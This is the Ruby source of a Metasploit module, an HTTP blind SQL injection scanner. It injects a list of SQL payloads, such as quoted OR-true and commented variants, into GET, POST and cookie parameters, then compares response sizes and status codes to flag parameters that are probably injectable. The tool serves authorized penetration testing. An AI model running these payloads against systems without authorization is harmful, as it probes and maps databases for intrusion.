Files
metasploit-gs/modules/auxiliary/scanner/http/blind_sql_query.rb
T
2025-06-24 11:21:49 +01:00

484 lines
14 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'HTTP Blind SQL Injection Scanner',
'Description' => %q{
This module identifies the existence of Blind SQL injection issues
in GET/POST Query parameters values.
},
'Author' => [ 'et [at] cyberspace.org' ],
'License' => BSD_LICENSE,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
OptString.new('QUERY', [ false, "HTTP URI Query", '']),
OptString.new('DATA', [ false, "HTTP Body Data", '']),
OptString.new('COOKIE', [ false, "HTTP Cookies", ''])
]
)
end
def run_host(ip)
# Force http verb to be upper-case, because otherwise some web servers such as
# Apache might throw you a 501
http_method = datastore['METHOD'].upcase
gvars = Hash.new()
pvars = Hash.new()
cvars = Hash.new()
rnum = rand(10000)
inivalstr = [
[
'numeric',
" AND #{rnum}=#{rnum} ",
" AND #{rnum}=#{rnum + 1} "
],
[
'single quotes',
"' AND '#{rnum}'='#{rnum}",
"' AND '#{rnum}'='#{rnum + 1}"
],
[
'double quotes',
"\" AND \"#{rnum}\"=\"#{rnum}",
"\" AND \"#{rnum}\"=\"#{rnum + 1}"
],
[
'OR single quotes uncommented',
"' OR '#{rnum}'='#{rnum}",
"' OR '#{rnum}'='#{rnum + 1}"
],
[
'OR single quotes closed and commented',
"' OR '#{rnum}'='#{rnum}'--",
"' OR '#{rnum}'='#{rnum + 1}'--"
],
[
'hex encoded OR single quotes uncommented',
"'%20OR%20'#{rnum}'%3D'#{rnum}",
"'%20OR%20'#{rnum}'%3D'#{rnum + 1}"
],
[
'hex encoded OR single quotes closed and commented',
"'%20OR%20'#{rnum}'%3D'#{rnum}'--",
"'%20OR%20'#{rnum}'%3D'#{rnum + 1}'--"
]
]
# Creating strings with true and false values
valstr = []
inivalstr.each do |vstr|
# With true values
valstr << vstr
# With false values, appending 'x' to real value
valstr << ['False char ' + vstr[0], 'x' + vstr[1], 'x' + vstr[2]]
# With false values, appending '0' to real value
valstr << ['False num ' + vstr[0], '0' + vstr[1], '0' + vstr[2]]
end
# valstr.each do |v|
# print_status("#{v[0]}")
# print_status("#{v[1]}")
# print_status("#{v[2]}")
# end
#
# Dealing with empty query/data and making them hashes.
#
if !datastore['QUERY'] or datastore['QUERY'].empty?
datastore['QUERY'] = nil
gvars = nil
else
gvars = queryparse(datastore['QUERY']) # Now its a Hash
end
if !datastore['DATA'] or datastore['DATA'].empty?
datastore['DATA'] = nil
pvars = nil
else
pvars = queryparse(datastore['DATA'])
end
if !datastore['COOKIE'] or datastore['COOKIE'].empty?
datastore['COOKIE'] = nil
cvars = nil
else
cvars = queryparse(datastore['COOKIE'])
end
verifynr = 2
i = 0
k = 0
c = 0
normalres = nil
verifynr.times do |j|
# SEND NORMAL REQUEST
begin
normalres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
if not normalres
print_error("No response")
return
else
if i == 0
k = normalres.body.length
c = normalres.code.to_i
else
if k != normalres.body.length
print_error("Normal response body vary")
return
end
if c != normalres.code.to_i
print_error("Normal response code vary")
return
end
end
end
end
print_status("[Normal response body: #{k} code: #{c}]")
pinj = false
valstr.each do |tarr|
# QUERY
if gvars
gvars.each do |key, value|
vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")
# SEND TRUE REQUEST
testgvars = queryparse(datastore['QUERY']) # Now its a Hash
testgvars[key] = testgvars[key] + tarr[1]
t = testgvars[key]
begin
trueres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
# SEND FALSE REQUEST
testgvars = queryparse(datastore['QUERY']) # Now its a Hash
testgvars[key] = testgvars[key] + tarr[2]
begin
falseres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
pinja = false
pinjb = false
pinjc = false
pinjd = false
pinja = detection_a(normalres, trueres, falseres, tarr)
pinjb = detection_b(normalres, trueres, falseres, tarr)
pinjc = detection_c(normalres, trueres, falseres, tarr)
pinjd = detection_d(normalres, trueres, falseres, tarr)
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
report_web_vuln(
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => normalize_uri(datastore['PATH']),
:method => http_method,
:pname => key,
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
)
else
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
end
end
end
# DATA
if pvars
pvars.each do |key, value|
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
# SEND TRUE REQUEST
testpvars = queryparse(datastore['DATA']) # Now its a Hash
testpvars[key] = testpvars[key] + tarr[1]
t = testpvars[key]
pvarstr = ""
testpvars.each do |tkey, tvalue|
if pvarstr
pvarstr << '&'
end
pvarstr << tkey + '=' + tvalue
end
begin
trueres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
# SEND FALSE REQUEST
testpvars = queryparse(datastore['DATA']) # Now its a Hash
testpvars[key] = testpvars[key] + tarr[2]
pvarstr = ""
testpvars.each do |tkey, tvalue|
if pvarstr
pvarstr << '&'
end
pvarstr << tkey + '=' + tvalue
end
begin
falseres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
pinja = false
pinjb = false
pinjc = false
pinjd = false
pinja = detection_a(normalres, trueres, falseres, tarr)
pinjb = detection_b(normalres, trueres, falseres, tarr)
pinjc = detection_c(normalres, trueres, falseres, tarr)
pinjd = detection_d(normalres, trueres, falseres, tarr)
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
report_web_vuln(
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => datastore['PATH'],
:method => http_method,
:pname => key,
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
)
else
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
end
end
end
end
end
def detection_a(normalr, truer, falser, tarr)
# print_status("A")
# DETECTION A
# Very simple way to compare responses, this can be improved a lot , at this time just the simple way
if normalr and truer
# Very simple way to compare responses, this can be improved a lot , at this time just the simple way
reltruesize = truer.body.length - (truer.body.scan(/#{tarr[1]}/).length * tarr[1].length)
normalsize = normalr.body.length
# print_status("normalsize #{normalsize} truesize #{reltruesize}")
if reltruesize == normalsize
if falser
relfalsesize = falser.body.length - (falser.body.scan(/#{tarr[2]}/).length * tarr[2].length)
# print_status("falsesize #{relfalsesize}")
if reltruesize > relfalsesize
print_status("Detected by test A")
return true
else
return false
end
else
vprint_status("NO False Response.")
end
else
vprint_status("Normal and True requests are different.")
end
else
print_status("No response.")
end
return false
end
def detection_b(normalr, truer, falser, tarr)
# print_status("B")
# DETECTION B
# Variance on res body
if normalr and truer
if falser
# print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")
if (truer.body.length - tarr[1].length) != normalr.body.length and (falser.body.length - tarr[2].length) == normalr.body.length
print_status("Detected by test B")
return true
end
if (truer.body.length - tarr[1].length) == normalr.body.length and (falser.body.length - tarr[2].length) != normalr.body.length
print_status("Detected by test B")
return true
end
end
end
return false
end
def detection_c(normalr, truer, falser, tarr)
# print_status("C")
# DETECTION C
# Variance on res code of true or false statements
if normalr and truer
if falser
if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i
print_status("Detected by test C")
return true
end
if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i
print_status("Detected by test C")
return true
end
end
end
return false
end
def detection_d(normalr, truer, falser, tarr)
# print_status("D")
# DETECTION D
# Variance PERCENTAGE MIN MAX on res body
# 2% 50%
max_diff_perc = 2
min_diff_perc = 50
if normalr and truer
if falser
nl = normalr.body.length
tl = truer.body.length
fl = falser.body.length
if nl == 0
nl = 1
end
if tl == 0
tl = 1
end
if fl == 0
fl = 1
end
ntmax = [ nl, tl ].max
ntmin = [ nl, tl ].min
diff_nt_perc = ((ntmax - ntmin) * 100) / (ntmax)
diff_nt_f_perc = ((ntmax - fl) * 100) / (ntmax)
if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc
print_status("Detected by test D")
return true
end
nfmax = [ nl, fl ].max
nfmin = [ nl, fl ].min
diff_nf_perc = ((nfmax - nfmin) * 100) / (nfmax)
diff_nf_t_perc = ((nfmax - tl) * 100) / (nfmax)
if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc
print_status("Detected by test D")
return true
end
end
end
return false
end
end